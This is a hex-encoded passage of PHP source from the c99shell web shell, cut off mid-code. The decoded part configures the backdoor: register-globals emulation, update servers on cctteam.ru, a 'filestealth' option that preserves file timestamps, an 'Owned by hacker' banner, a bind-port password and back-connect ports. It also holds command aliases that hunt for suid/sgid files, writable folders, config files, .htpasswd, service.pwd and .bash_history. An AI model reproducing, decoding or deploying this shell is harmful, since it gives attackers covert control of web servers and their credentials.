22 47 4C 4F 42 41 4C 53 22 29 20 7B 73 74 72 69 70 73 28 24 61 72 72 5B 22 24 6B 22 5D 29 3B 7D 7D 7D 20 65 6C 73 65 20 7B 24 61 72 72 20 3D 20 73 74 72 69 70 73 6C 61 73 68 65 73 28 24 61 72 72 29 3B 7D 7D 7D 20 73 74 72 69 70 73 28 24 47 4C 4F 42 41 4C 53 29 3B 7D 0A 24 5F 52 45 51 55 45 53 54 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 5F 43 4F 4F 4B 49 45 2C 24 5F 47 45 54 2C 24 5F 50 4F 53 54 29 3B 0A 66 6F 72 65 61 63 68 28 24 5F 52 45 51 55 45 53 54 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 21 69 73 73 65 74 28 24 24 6B 29 29 20 7B 24 24 6B 20 3D 20 24 76 3B 7D 7D 0A 0A 24 73 68 76 65 72 20 3D 20 22 31 2E 30 20 70 72 65 2D 72 65 6C 65 61 73 65 20 62 75 69 6C 64 20 23 31 33 22 3B 20 2F 2F 43 75 72 72 65 6E 74 20 76 65 72 73 69 6F 6E 0A 2F 2F 43 4F 4E 46 49 47 55 52 41 54 49 4F 4E 20 41 4E 44 20 53 45 54 54 49 4E 47 53 0A 69 66 20 28 21 65 6D 70 74 79 28 24 75 6E 73 65 74 5F 73 75 72 6C 29 29 20 7B 73 65 74 63 6F 6F 6B 69 65 28 22 63 39 39 73 68 5F 73 75 72 6C 22 29 3B 20 24 73 75 72 6C 20 3D 20 22 22 3B 7D 0A 65 6C 73 65 69 66 20 28 21 65 6D 70 74 79 28 24 73 65 74 5F 73 75 72 6C 29 29 20 7B 24 73 75 72 6C 20 3D 20 24 73 65 74 5F 73 75 72 6C 3B 20 73 65 74 63 6F 6F 6B 69 65 28 22 63 39 39 73 68 5F 73 75 72 6C 22 2C 24 73 75 72 6C 29 3B 7D 0A 65 6C 73 65 20 7B 24 73 75 72 6C 20 3D 20 24 5F 52 45 51 55 45 53 54 5B 22 63 39 39 73 68 5F 73 75 72 6C 22 5D 3B 20 2F 2F 53 65 74 20 74 68 69 73 20 63 6F 6F 6B 69 65 20 66 6F 72 20 6D 61 6E 75 61 6C 20 53 55 52 4C 0A 7D 0A 0A 24 73 75 72 6C 5F 61 75 74 6F 66 69 6C 6C 5F 69 6E 63 6C 75 64 65 20 3D 20 74 72 75 65 3B 20 2F 2F 49 66 20 74 72 75 65 20 74 68 65 6E 20 73 65 61 72 63 68 20 76 61 72 69 61 62 6C 65 73 20 77 69 74 68 20 64 65 73 63 72 69 70 74 6F 72 73 20 28 55 52 4C 73 29 20 61 6E 64 20 73 61 76 65 20 69 74 20 69 6E 20 53 55 52 4C 2E 0A 0A 69 66 20 28 24 73 75 72 6C 5F 61 75 74 6F 66 69 6C 6C 5F 69 6E 63 6C 75 64 65 20 61 6E 64 20 21 24 5F 52 45 51 55 45 53 54 5B 22 63 39 39 73 68 5F 73 75 72 6C 22 5D 29 20 7B 24 69 6E 63 6C 75 64 65 20 3D 20 22 26 22 3B 20 66 6F 72 65 61 63 68 20 28 65 78 70 6C 6F 64 65 28 22 26 22 2C 67 65 74 65 6E 76 28 22 51 55 45 52 59 5F 53 54 52 49 4E 47 22 29 29 20 61 73 20 24 76 29 20 7B 24 76 20 3D 20 65 78 70 6C 6F 64 65 28 22 3D 22 2C 24 76 29 3B 20 24 6E 61 6D 65 20 3D 20 75 72 6C 64 65 63 6F 64 65 28 24 76 5B 30 5D 29 3B 20 24 76 61 6C 75 65 20 3D 20 75 72 6C 64 65 63 6F 64 65 28 24 76 5B 31 5D 29 3B 20 66 6F 72 65 61 63 68 20 28 61 72 72 61 79 28 22 68 74 74 70 3A 2F 2F 22 2C 22 68 74 74 70 73 3A 2F 2F 22 2C 22 73 73 6C 3A 2F 2F 22 2C 22 66 74 70 3A 2F 2F 22 2C 22 5C 5C 5C 5C 22 29 20 61 73 20 24 6E 65 65 64 6C 65 29 20 7B 69 66 20 28 73 74 72 70 6F 73 28 24 76 61 6C 75 65 2C 24 6E 65 65 64 6C 65 29 20 3D 3D 3D 20 30 29 20 7B 24 69 6E 63 6C 75 64 65 73 74 72 20 2E 3D 20 75 72 6C 65 6E 63 6F 64 65 28 24 6E 61 6D 65 29 2E 22 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 76 61 6C 75 65 29 2E 22 26 22 3B 7D 7D 7D 20 69 66 20 28 24 5F 52 45 51 55 45 53 54 5B 22 73 75 72 6C 5F 61 75 74 6F 66 69 6C 6C 5F 69 6E 63 6C 75 64 65 22 5D 29 20 7B 24 69 6E 63 6C 75 64 65 73 74 72 20 2E 3D 20 22 73 75 72 6C 5F 61 75 74 6F 66 69 6C 6C 5F 69 6E 63 6C 75 64 65 3D 31 26 22 3B 7D 7D 0A 69 66 20 28 65 6D 70 74 79 28 24 73 75 72 6C 29 29 0A 7B 0A 20 24 73 75 72 6C 20 3D 20 22 3F 22 2E 24 69 6E 63 6C 75 64 65 73 74 72 3B 20 2F 2F 53 65 6C 66 20 75 72 6C 0A 7D 0A 24 73 75 72 6C 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 75 72 6C 29 3B 0A 0A 24 74 69 6D 65 6C 69 6D 69 74 20 3D 20 30 3B 20 2F 2F 74 69 6D 65 20 6C 69 6D 69 74 20 6F 66 20 65 78 65 63 75 74 69 6F 6E 20 74 68 69 73 20 73 63 72 69 70 74 20 6F 76 65 72 20 73 65 72 76 65 72 20 71 75 6F 74 65 20 28 73 65 63 6F 6E 64 73 29 2C 20 30 20 3D 20 75 6E 6C 69 6D 69 74 65 64 2E 0A 0A 2F 2F 41 75 74 68 65 6E 74 69 63 61 74 69 6F 6E 0A 24 6C 6F 67 69 6E 20 3D 20 22 22 3B 20 2F 2F 6C 6F 67 69 6E 0A 2F 2F 44 4F 4E 27 54 20 46 4F 52 47 4F 54 20 41 42 4F 55 54 20 50 41 53 53 57 4F 52 44 21 21 21 0A 24 70 61 73 73 20 3D 20 22 22 3B 20 2F 2F 70 61 73 73 77 6F 72 64 0A 24 6D 64 35 5F 70 61 73 73 20 3D 20 22 22 3B 20 2F 2F 6D 64 35 2D 63 72 79 70 65 64 20 70 61 73 73 2E 20 69 66 20 6E 75 6C 6C 2C 20 6D 64 35 28 24 70 61 73 73 29 0A 0A 24 68 6F 73 74 5F 61 6C 6C 6F 77 20 3D 20 61 72 72 61 79 28 22 2A 22 29 3B 20 2F 2F 61 72 72 61 79 20 28 22 7B 6D 61 73 6B 7D 31 22 2C 22 7B 6D 61 73 6B 7D 32 22 2C 2E 2E 2E 29 2C 20 7B 6D 61 73 6B 7D 20 3D 20 49 50 20 6F 72 20 48 4F 53 54 20 65 2E 67 2E 20 61 72 72 61 79 28 22 31 39 32 2E 31 36 38 2E 30 2E 2A 22 2C 22 31 32 37 2E 30 2E 30 2E 31 22 29 0A 24 6C 6F 67 69 6E 5F 74 78 74 20 3D 20 22 52 65 73 74 72 69 63 74 65 64 20 61 72 65 61 22 3B 20 2F 2F 68 74 74 70 2D 61 75 74 68 20 6D 65 73 73 61 67 65 2E 0A 24 61 63 63 65 73 73 64 65 6E 69 65 64 6D 65 73 73 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 2F 72 65 6C 65 61 73 65 73 2F 63 39 39 73 68 65 6C 6C 5C 22 3E 63 39 39 73 68 65 6C 6C 20 76 2E 22 2E 24 73 68 76 65 72 2E 22 3C 2F 61 3E 3A 20 61 63 63 65 73 73 20 64 65 6E 69 65 64 22 3B 0A 0A 24 67 7A 69 70 65 6E 63 6F 64 65 20 3D 20 74 72 75 65 3B 20 2F 2F 45 6E 63 6F 64 65 20 77 69 74 68 20 67 7A 69 70 3F 0A 0A 24 75 70 64 61 74 65 6E 6F 77 20 3D 20 66 61 6C 73 65 3B 20 2F 2F 49 66 20 74 72 75 65 2C 20 75 70 64 61 74 65 20 6E 6F 77 20 28 74 68 69 73 20 76 61 72 69 61 62 6C 65 20 77 69 6C 6C 20 62 65 20 66 61 6C 73 65 29 0A 0A 24 63 39 39 73 68 5F 75 70 64 61 74 65 75 72 6C 20 3D 20 22 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 2F 75 70 64 61 74 65 2F 63 39 39 73 68 65 6C 6C 2F 22 3B 20 2F 2F 55 70 64 61 74 65 20 73 65 72 76 65 72 0A 24 63 39 39 73 68 5F 73 6F 75 72 63 65 73 75 72 6C 20 3D 20 22 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 2F 66 69 6C 65 73 2F 63 39 39 73 68 5F 73 6F 75 72 63 65 73 2F 22 3B 20 2F 2F 53 6F 75 72 63 65 73 2D 73 65 72 76 65 72 0A 0A 24 66 69 6C 65 73 74 65 61 6C 74 68 20 3D 20 74 72 75 65 3B 20 2F 2F 69 66 20 74 72 75 65 2C 20 64 6F 6E 27 74 20 63 68 61 6E 67 65 20 6D 6F 64 69 66 79 2D 20 61 6E 64 20 61 63 63 65 73 73 2D 74 69 6D 65 0A 0A 24 64 6F 6E 61 74 65 64 5F 68 74 6D 6C 20 3D 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 4F 77 6E 65 64 20 62 79 20 68 61 63 6B 65 72 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 09 09 2F 2A 20 49 66 20 79 6F 75 20 70 75 62 6C 69 73 68 20 66 72 65 65 20 73 68 65 6C 6C 20 61 6E 64 20 79 6F 75 20 77 69 73 68 0A 09 09 61 64 64 20 6C 69 6E 6B 20 74 6F 20 79 6F 75 72 20 73 69 74 65 20 6F 72 20 61 6E 79 20 6F 74 68 65 72 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 2C 0A 09 09 70 75 74 20 68 65 72 65 20 79 6F 75 72 20 68 74 6D 6C 2E 20 2A 2F 0A 24 64 6F 6E 61 74 65 64 5F 61 63 74 20 3D 20 61 72 72 61 79 28 22 22 29 3B 20 2F 2F 61 72 72 61 79 20 28 22 61 63 74 31 22 2C 22 61 63 74 32 2C 22 2E 2E 2E 29 2C 20 69 66 20 24 61 63 74 20 69 73 20 69 6E 20 74 68 69 73 20 61 72 72 61 79 2C 20 64 69 73 70 6C 61 79 20 24 64 6F 6E 61 74 65 64 5F 68 74 6D 6C 2E 0A 0A 24 63 75 72 64 69 72 20 3D 20 22 2E 2F 22 3B 20 2F 2F 73 74 61 72 74 20 66 6F 6C 64 65 72 0A 2F 2F 24 63 75 72 64 69 72 20 3D 20 67 65 74 65 6E 76 28 22 44 4F 43 55 4D 45 4E 54 5F 52 4F 4F 54 22 29 3B 0A 24 74 6D 70 64 69 72 20 3D 20 22 22 3B 20 2F 2F 46 6F 6C 64 65 72 20 66 6F 72 20 74 65 6D 70 6F 72 79 20 66 69 6C 65 73 2E 20 49 66 20 65 6D 70 74 79 2C 20 61 75 74 6F 2D 66 69 6C 6C 20 28 2F 74 6D 70 20 6F 72 20 25 57 49 4E 44 49 52 2F 74 65 6D 70 29 0A 24 74 6D 70 64 69 72 5F 6C 6F 67 20 3D 20 22 2E 2F 22 3B 20 2F 2F 44 69 72 65 63 74 6F 72 79 20 6C 6F 67 73 20 6F 66 20 6C 6F 6E 67 20 70 72 6F 63 65 73 73 65 73 20 28 65 2E 67 2E 20 62 72 75 74 65 2C 20 73 63 61 6E 2E 2E 2E 29 0A 0A 24 6C 6F 67 5F 65 6D 61 69 6C 20 3D 20 22 75 73 65 72 40 68 6F 73 74 2E 74 6C 64 22 3B 20 2F 2F 44 65 66 61 75 6C 74 20 65 2D 6D 61 69 6C 20 66 6F 72 20 73 65 6E 64 69 6E 67 20 6C 6F 67 73 0A 0A 24 73 6F 72 74 5F 64 65 66 61 75 6C 74 20 3D 20 22 30 61 22 3B 20 2F 2F 44 65 66 61 75 6C 74 20 73 6F 72 74 69 6E 67 2C 20 30 20 2D 20 6E 75 6D 62 65 72 20 6F 66 20 63 6F 6C 6F 6D 6E 2C 20 22 61 22 73 63 65 6E 64 69 6E 67 20 6F 72 20 22 64 22 65 73 63 65 6E 64 69 6E 67 0A 24 73 6F 72 74 5F 73 61 76 65 20 3D 20 74 72 75 65 3B 20 2F 2F 49 66 20 74 72 75 65 20 74 68 65 6E 20 73 61 76 65 20 73 6F 72 74 69 6E 67 2D 70 6F 73 69 74 69 6F 6E 20 75 73 69 6E 67 20 63 6F 6F 6B 69 65 73 2E 0A 0A 2F 2F 20 52 65 67 69 73 74 65 72 65 64 20 66 69 6C 65 2D 74 79 70 65 73 2E 0A 2F 2F 20 20 61 72 72 61 79 28 0A 2F 2F 20 20 20 22 7B 61 63 74 69 6F 6E 31 7D 22 3D 3E 61 72 72 61 79 28 22 65 78 74 31 22 2C 22 65 78 74 32 22 2C 22 65 78 74 33 22 2C 2E 2E 2E 29 2C 0A 2F 2F 20 20 20 22 7B 61 63 74 69 6F 6E 32 7D 22 3D 3E 61 72 72 61 79 28 22 65 78 74 34 22 2C 22 65 78 74 35 22 2C 22 65 78 74 36 22 2C 2E 2E 2E 29 2C 0A 2F 2F 20 20 20 2E 2E 2E 0A 2F 2F 20 20 29 0A 24 66 74 79 70 65 73 20 20 3D 20 61 72 72 61 79 28 0A 20 22 68 74 6D 6C 22 3D 3E 61 72 72 61 79 28 22 68 74 6D 6C 22 2C 22 68 74 6D 22 2C 22 73 68 74 6D 6C 22 29 2C 0A 20 22 74 78 74 22 3D 3E 61 72 72 61 79 28 22 74 78 74 22 2C 22 63 6F 6E 66 22 2C 22 62 61 74 22 2C 22 73 68 22 2C 22 6A 73 22 2C 22 62 61 6B 22 2C 22 64 6F 63 22 2C 22 6C 6F 67 22 2C 22 73 66 63 22 2C 22 63 66 67 22 2C 22 68 74 61 63 63 65 73 73 22 29 2C 0A 20 22 65 78 65 22 3D 3E 61 72 72 61 79 28 22 73 68 22 2C 22 69 6E 73 74 61 6C 6C 22 2C 22 62 61 74 22 2C 22 63 6D 64 22 29 2C 0A 20 22 69 6E 69 22 3D 3E 61 72 72 61 79 28 22 69 6E 69 22 2C 22 69 6E 66 22 29 2C 0A 20 22 63 6F 64 65 22 3D 3E 61 72 72 61 79 28 22 70 68 70 22 2C 22 70 68 74 6D 6C 22 2C 22 70 68 70 33 22 2C 22 70 68 70 34 22 2C 22 69 6E 63 22 2C 22 74 63 6C 22 2C 22 68 22 2C 22 63 22 2C 22 63 70 70 22 2C 22 70 79 22 2C 22 63 67 69 22 2C 22 70 6C 22 29 2C 0A 20 22 69 6D 67 22 3D 3E 61 72 72 61 79 28 22 67 69 66 22 2C 22 70 6E 67 22 2C 22 6A 70 65 67 22 2C 22 6A 66 69 66 22 2C 22 6A 70 67 22 2C 22 6A 70 65 22 2C 22 62 6D 70 22 2C 22 69 63 6F 22 2C 22 74 69 66 22 2C 22 74 69 66 66 22 2C 22 61 76 69 22 2C 22 6D 70 67 22 2C 22 6D 70 65 67 22 29 2C 0A 20 22 73 64 62 22 3D 3E 61 72 72 61 79 28 22 73 64 62 22 29 2C 0A 20 22 70 68 70 73 65 73 73 22 3D 3E 61 72 72 61 79 28 22 73 65 73 73 22 29 2C 0A 20 22 64 6F 77 6E 6C 6F 61 64 22 3D 3E 61 72 72 61 79 28 22 65 78 65 22 2C 22 63 6F 6D 22 2C 22 70 69 66 22 2C 22 73 72 63 22 2C 22 6C 6E 6B 22 2C 22 7A 69 70 22 2C 22 72 61 72 22 2C 22 67 7A 22 2C 22 74 61 72 22 29 0A 29 3B 0A 0A 2F 2F 20 52 65 67 69 73 74 65 72 65 64 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 2D 74 79 70 65 73 2E 0A 2F 2F 20 20 61 72 72 61 79 28 0A 2F 2F 20 20 20 73 74 72 69 6E 67 20 22 63 6F 6D 6D 61 6E 64 7B 69 7D 22 3D 3E 61 72 72 61 79 28 22 65 78 74 31 22 2C 22 65 78 74 32 22 2C 22 65 78 74 33 22 2C 2E 2E 2E 29 2C 0A 2F 2F 20 20 20 2E 2E 2E 0A 2F 2F 20 20 29 0A 2F 2F 20 20 20 7B 63 6F 6D 6D 61 6E 64 7D 3A 20 25 66 25 20 3D 20 66 69 6C 65 6E 61 6D 65 0A 24 65 78 65 66 74 79 70 65 73 20 20 3D 20 61 72 72 61 79 28 0A 20 67 65 74 65 6E 76 28 22 50 48 50 52 43 22 29 2E 22 20 2D 71 20 25 66 25 22 20 3D 3E 20 61 72 72 61 79 28 22 70 68 70 22 2C 22 70 68 70 33 22 2C 22 70 68 70 34 22 29 2C 0A 20 22 70 65 72 6C 20 25 66 25 22 20 3D 3E 20 61 72 72 61 79 28 22 70 6C 22 2C 22 63 67 69 22 29 0A 29 3B 0A 0A 2F 2A 20 48 69 67 68 6C 69 67 68 74 65 64 20 66 69 6C 65 73 2E 0A 20 20 61 72 72 61 79 28 0A 20 20 20 69 3D 3E 61 72 72 61 79 28 7B 72 65 67 65 78 70 7D 2C 7B 74 79 70 65 7D 2C 7B 6F 70 65 6E 74 61 67 7D 2C 7B 63 6C 6F 73 65 74 61 67 7D 2C 7B 62 72 65 61 6B 7D 29 0A 20 20 20 2E 2E 2E 0A 20 20 29 0A 20 20 73 74 72 69 6E 67 20 7B 72 65 67 65 78 70 7D 20 2D 20 72 65 67 75 6C 61 72 20 65 78 70 2E 0A 20 20 69 6E 74 20 7B 74 79 70 65 7D 3A 0A 09 30 20 2D 20 66 69 6C 65 73 20 61 6E 64 20 66 6F 6C 64 65 72 73 20 28 61 73 20 64 65 66 61 75 6C 74 29 2C 0A 09 31 20 2D 20 66 69 6C 65 73 20 6F 6E 6C 79 2C 20 32 20 2D 20 66 6F 6C 64 65 72 73 20 6F 6E 6C 79 0A 20 20 73 74 72 69 6E 67 20 7B 6F 70 65 6E 74 61 67 7D 20 2D 20 6F 70 65 6E 20 68 74 6D 6C 2D 74 61 67 2C 20 65 2E 67 2E 20 22 3C 62 3E 22 20 28 64 65 66 61 75 6C 74 29 0A 20 20 73 74 72 69 6E 67 20 7B 63 6C 6F 73 65 74 61 67 7D 20 2D 20 63 6C 6F 73 65 20 68 74 6D 6C 2D 74 61 67 2C 20 65 2E 67 2E 20 22 3C 2F 62 3E 22 20 28 64 65 66 61 75 6C 74 29 0A 20 20 62 6F 6F 6C 20 7B 62 72 65 61 6B 7D 20 2D 20 69 66 20 74 72 75 65 20 61 6E 64 20 66 6F 75 6E 64 20 6D 61 74 63 68 20 74 68 65 6E 20 62 72 65 61 6B 0A 2A 2F 0A 24 72 65 67 78 70 5F 68 69 67 68 6C 69 67 68 74 20 20 3D 20 61 72 72 61 79 28 0A 20 20 61 72 72 61 79 28 62 61 73 65 6E 61 6D 65 28 24 5F 53 45 52 56 45 52 5B 22 50 48 50 5F 53 45 4C 46 22 5D 29 2C 31 2C 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 5C 22 79 65 6C 6C 6F 77 5C 22 3E 22 2C 22 3C 2F 66 6F 6E 74 3E 22 29 2C 20 2F 2F 20 65 78 61 6D 70 6C 65 0A 20 20 61 72 72 61 79 28 22 63 6F 6E 66 69 67 2E 70 68 70 22 2C 31 29 20 2F 2F 20 65 78 61 6D 70 6C 65 0A 29 3B 0A 0A 24 73 61 66 65 6D 6F 64 65 5F 64 69 73 6B 65 74 74 65 73 20 3D 20 61 72 72 61 79 28 22 61 22 29 3B 20 2F 2F 20 54 68 69 73 20 76 61 72 69 61 62 6C 65 20 66 6F 72 20 64 69 73 61 62 6C 69 6E 67 20 64 69 73 6B 65 74 74 2D 65 72 72 6F 72 73 2E 0A 09 09 09 09 09 09 09 09 09 20 2F 2F 20 61 72 72 61 79 20 28 69 3D 3E 7B 6C 65 74 74 65 72 7D 20 2E 2E 2E 29 3B 20 73 74 72 69 6E 67 20 7B 6C 65 74 74 65 72 7D 20 2D 20 6C 65 74 74 65 72 20 6F 66 20 61 20 64 72 69 76 65 0A 2F 2F 24 73 61 66 65 6D 6F 64 65 5F 64 69 73 6B 65 74 74 65 73 20 3D 20 72 61 6E 67 65 28 22 61 22 2C 22 7A 22 29 3B 0A 24 68 65 78 64 75 6D 70 5F 6C 69 6E 65 73 20 3D 20 38 3B 09 2F 2F 20 6C 69 6E 65 73 20 69 6E 20 68 65 78 20 70 72 65 76 69 65 77 20 66 69 6C 65 0A 24 68 65 78 64 75 6D 70 5F 72 6F 77 73 20 3D 20 32 34 3B 09 2F 2F 20 31 36 2C 20 32 34 20 6F 72 20 33 32 20 62 79 74 65 73 20 69 6E 20 6F 6E 65 20 6C 69 6E 65 0A 0A 24 6E 69 78 70 77 64 70 65 72 70 61 67 65 20 3D 20 31 30 30 3B 20 2F 2F 20 47 65 74 20 66 69 72 73 74 20 4E 20 6C 69 6E 65 73 20 66 72 6F 6D 20 2F 65 74 63 2F 70 61 73 73 77 64 0A 0A 24 62 69 6E 64 70 6F 72 74 5F 70 61 73 73 20 3D 20 22 63 39 39 22 3B 09 20 20 2F 2F 20 64 65 66 61 75 6C 74 20 70 61 73 73 77 6F 72 64 20 66 6F 72 20 62 69 6E 64 69 6E 67 0A 24 62 69 6E 64 70 6F 72 74 5F 70 6F 72 74 20 3D 20 22 33 31 33 37 33 22 3B 20 2F 2F 20 64 65 66 61 75 6C 74 20 70 6F 72 74 20 66 6F 72 20 62 69 6E 64 69 6E 67 0A 24 62 63 5F 70 6F 72 74 20 3D 20 22 33 31 33 37 33 22 3B 20 2F 2F 20 64 65 66 61 75 6C 74 20 70 6F 72 74 20 66 6F 72 20 62 61 63 6B 2D 63 6F 6E 6E 65 63 74 0A 24 64 61 74 61 70 69 70 65 5F 6C 6F 63 61 6C 70 6F 72 74 20 3D 20 22 38 30 38 31 22 3B 20 2F 2F 20 64 65 66 61 75 6C 74 20 70 6F 72 74 20 66 6F 72 20 64 61 74 61 70 69 70 65 0A 0A 2F 2F 20 43 6F 6D 6D 61 6E 64 2D 61 6C 69 61 73 65 73 0A 69 66 20 28 21 24 77 69 6E 29 0A 7B 0A 20 24 63 6D 64 61 6C 69 61 73 65 73 20 3D 20 61 72 72 61 79 28 0A 20 20 61 72 72 61 79 28 22 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 22 2C 20 22 6C 73 20 2D 6C 61 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 73 75 69 64 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 70 65 72 6D 20 2D 30 34 30 30 30 20 2D 6C 73 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 73 75 69 64 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 74 79 70 65 20 66 20 2D 70 65 72 6D 20 2D 30 34 30 30 30 20 2D 6C 73 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 73 67 69 64 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 70 65 72 6D 20 2D 30 32 30 30 30 20 2D 6C 73 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 73 67 69 64 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 74 79 70 65 20 66 20 2D 70 65 72 6D 20 2D 30 32 30 30 30 20 2D 6C 73 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 63 6F 6E 66 69 67 2E 69 6E 63 2E 70 68 70 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 63 6F 6E 66 69 67 2E 69 6E 63 2E 70 68 70 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 63 6F 6E 66 69 67 2A 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 5C 22 63 6F 6E 66 69 67 2A 5C 22 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 63 6F 6E 66 69 67 2A 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 5C 22 63 6F 6E 66 69 67 2A 5C 22 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 77 72 69 74 61 62 6C 65 20 66 6F 6C 64 65 72 73 20 61 6E 64 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 70 65 72 6D 20 2D 32 20 2D 6C 73 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 77 72 69 74 61 62 6C 65 20 66 6F 6C 64 65 72 73 20 61 6E 64 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 70 65 72 6D 20 2D 32 20 2D 6C 73 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 73 65 72 76 69 63 65 2E 70 77 64 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 73 65 72 76 69 63 65 2E 70 77 64 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 73 65 72 76 69 63 65 2E 70 77 64 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 73 65 72 76 69 63 65 2E 70 77 64 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 2E 68 74 70 61 73 73 77 64 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 2E 68 74 70 61 73 73 77 64 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 2E 68 74 70 61 73 73 77 64 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 2E 68 74 70 61 73 73 77 64 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 2E 62 61 73 68 5F 68 69 73 74 6F 72 79 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 2E 62 61 73 68 5F 68 69 73 74 6F 72 79 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 2E 62 61 73 68 5F 68 69 73 74 6F 72 79 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 2E 62 61 73 68 5F 68 69 73 74 6F 72 79 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 61 6C 6C 20 2E 66 65 74 63 68 6D 61 69 6C 72 63 20 66 69 6C 65 73 22 2C 20 22 66 69 6E 64 20 2F 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 2E 66 65 74 63 68 6D 61 69 6C 72 63 22 29 2C 0A 20 20 61 72 72 61 79 28 22 66 69 6E 64 20 2E 66 65 74 63 68 6D 61 69 6C 72 63 20 66 69 6C 65 73 20 69 6E 20 63 75 72 72 65 6E 74 20 64 69 72 22 2C 20 22 66 69 6E 64 20 2E 20 2D 74 79 70 65 20 66 20 2D 6E 61 6D 65 20 2E 66 65 74 63 68 6D 61 69 6C 72 63 22 29 2C 0A 20 20 61 72 72 61 79 28 22 6C 69 73 74 20 66 69 6C 65 20 61 74 74 72 69 62 75 74 65 73 20 6F 6E 20 61 20 4C 69 6E 75 78 20 73 65 63 6F 6E 64 20 65 78 74 65 6E 64 65 64 20 66 69 6C 65 20 73 79 73 74 65 6D 22 2C 20 22 6C 73 61 74 74 72 20 2D 76 61 22 29 2C 0A 20 20 61 72 72 61 79 28 22 73 68 6F 77 20 6F 70 65 6E 65 64 20 70 6F 72 74 73 22 2C 20 22 6E 65 74 73 74 61 74 20 2D 61 6E 20 7C 20 67 72 65 70 20 2D 69 20 6C 69 73 74 65 6E 22 29 0A 20 29 3B 0A 7D 0A 65 6C 73 65 0A 7B 0A 20 24 63 6D 64 61 6C 69 61 73 65 73 20 3D 20 61 72 72 61 79 28 0A 20 20 61 72 72 61 79 28 22 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 22 2C 20 22 64 69 72 22 29 2C 0A 20 20 61 72 72 61 79 28 22 73 